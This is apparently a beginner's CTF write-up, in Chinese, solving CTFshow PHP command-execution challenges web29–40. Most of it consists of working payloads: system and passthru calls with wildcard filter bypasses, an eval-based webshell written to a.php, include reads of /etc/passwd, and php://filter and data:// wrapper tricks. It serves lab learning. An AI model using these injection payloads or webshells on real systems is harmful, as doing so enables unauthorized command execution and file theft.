CTFshow命令执行 web29-40

由于是新手,我们从最基本的原理开始

web 29

先分析代码

将你上传的参数c当做php代码来运行,这里过滤掉了flag

首先我们/?c=sysytem('is')查看他的目录,发现有flag。php

然后看大佬的这里有很多的解法

  • ?c=system("tac fla*")

这里"tac" 是一个 Unix 和类 Unix 操作系统中的命令行工具。它的功能是将文件逆序输出,即从最后一行到第一行输出文件的内容。它的名称来源于单词 "cat"(concatenate,连接),反过来就是 "tac"(反向连接)。

  • ?c=highlight_file(next(array_reverse(scandir("."))));
  1. scandir("."): 这个函数会扫描当前目录(.)并返回目录中文件和目录的数组列表。通常返回的数组中会包含特殊条目 . (表示当前目录)和 .. (表示上级目录)。

  2. array_reverse(scandir(".")): array_reverse 函数会将 scandir 返回的数组反转,即将数组中的元素顺序颠倒,使得最后一个文件或目录排在数组的第一个位置。

  3. next(array_reverse(scandir("."))): next 函数会返回数组中当前指针指向的元素,并将指针向前移动到下一个元素。因为 array_reverse 已经反转了数组,所以这里返回的是原始数组中的最后一个文件或目录的名称。

  4. highlight_file(next(array_reverse(scandir(".")))): 最终,highlight_file 函数会显示指定文件的 PHP 源代码。所以,这段代码的目的是显示当前目录下最后一个文件的源代码。

  • c=system('echo -e " <?php \n error_reporting(0); \n  \$c= \$_GET[\'c\']; \n eval(\$c); " > a.php');
    /a.php?c=system("tac flag.php");

这个做法是创建一个a.php文件,然后你就可以通过这个界面来查看flag.php

  • c=system("cp fl*g.php a.txt ");

这里是将flag.php的内容复制到a.txt里面,然后你可以直接查看a.php

web 30

这题需要绕过flag|system|php

绕过system

可以看这个常用的PHP命令执行函数及利用方式_php 命令执行的函数-CSDN博客

绕过flag.php

这里我们用到通配符Linux中通配符 - 强叔Linux - 博客园 (cnblogs.com)

所以payload可以为

?c=passthru("tac%20fla*");

web31

这题禁用了flag|system|php|cat|sort|shell|\.| |\'

方法一

由于这里只是对c这个参数进行判断,我们将c换为eval函数,而定义一个1为passthru("tac fla*");

?c=eval($_GET[1]);&1=passthru("tac%09fla*"); 
方法二:通过函数拼接字符绕过
c=show_source(next(array_reverse(scandir(pos(localeconv())))));

localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回数组第一个"."
pos():输出数组第一个元素,不改变指针;
scandir();遍历目录,这里因为参数为"."所以遍历当前目录
array_reverse():元组倒置
next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以
show_source():查看源码

web32

这次过滤的比较多flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(

其中分号也被过滤掉了,所以之前的命令全都用不了。这题要使用文件包含或者日志注入,

首先我们先试一下文件包含,成功

?c=include$_GET[1]?>&1=/etc/passwd

然后文件包含

?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

得到PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNCAwMDo0OToxOQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDQgMDA6NDk6MjYNCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KJGZsYWc9ImN0ZnNob3d7NDczMWU2YTQtYmMwZS00Mzg2LWI1MTMtNzE5Yzg2MDYwYzU2fSI7DQo=

解码可得

web33

和web22基本相同,这里我们用require代替include

?c=require%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

得到

PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNCAwMDo0OToxOQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDQgMDA6NDk6MjYNCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KJGZsYWc9ImN0ZnNob3d7OGY5YWZjNmItNGE0MC00M2Q4LWFhYjgtZmNkNjJjZjk2MGQzfSI7DQo=

解码可得flag

web34

和web32相同。

?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web35

和web32相同。

web36

这里就是不让有数字了

我们把原来的1换成字母就行了

?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

web37

从这里开始evil函数没用了,变成了include

?c=data://text/plain,<?php system("mv fla?.php 1.txt");?>

data协议把后面的数字,字符,字符串当做php代码来执行

web38

过滤了php以及file

?c=data://text/plain,<?=system("cp fla*.* 1.txt');?>

这里的=叫做短标签

web39

这道题给填上了一个.php后缀,但不影响前面的代码执行

?c=data://text/plain,<?=system("tac fla?.ph?");?>

web40

过滤了很多符号

用提示的解法

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

在CTF中,web入门命令执行指的是通过Web应用程序的漏洞,将恶意的命令注入到应用程序中并执行。这样的攻击可以导致未经授权的访问和操纵应用程序的数据和功能。 根据引用中提供的信息,可以看到一些常见的双写绕过技巧,如分号、竖线、双与号等。这些技巧可以用来绕过应用程序对输入参数的限制,从而注入恶意的命令。 引用中提到的payload,其中使用了一个通用的命令执行函数"show_source"来显示指定文件的源代码。这个payload可以用来尝试执行"flag.php"文件的源代码。但前提是要知道有一个名为"flag.php"的文件存在。 另外,引用中提供了另一种payload的示例,其中使用了array_reverse和scandir函数来获取文件目录并显示指定文件的源代码。同样,也可以直接使用show_source('flag.php')来显示"flag.php"文件的源代码。 需要注意的是,命令执行漏洞是非常危险的,因为它可以导致恶意用户执行任意的系统命令。为了保护Web应用程序免受此类攻击,开发人员应该对用户的输入进行严格的验证和过滤,并使用安全的编程实践来防止命令注入漏洞的发生。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [ctfshow web入门命令执行](https://blog.csdn.net/uuzfumo/article/details/128357863)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [CTFShow Web入门 命令执行](https://blog.csdn.net/qq_19533763/article/details/123910732)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值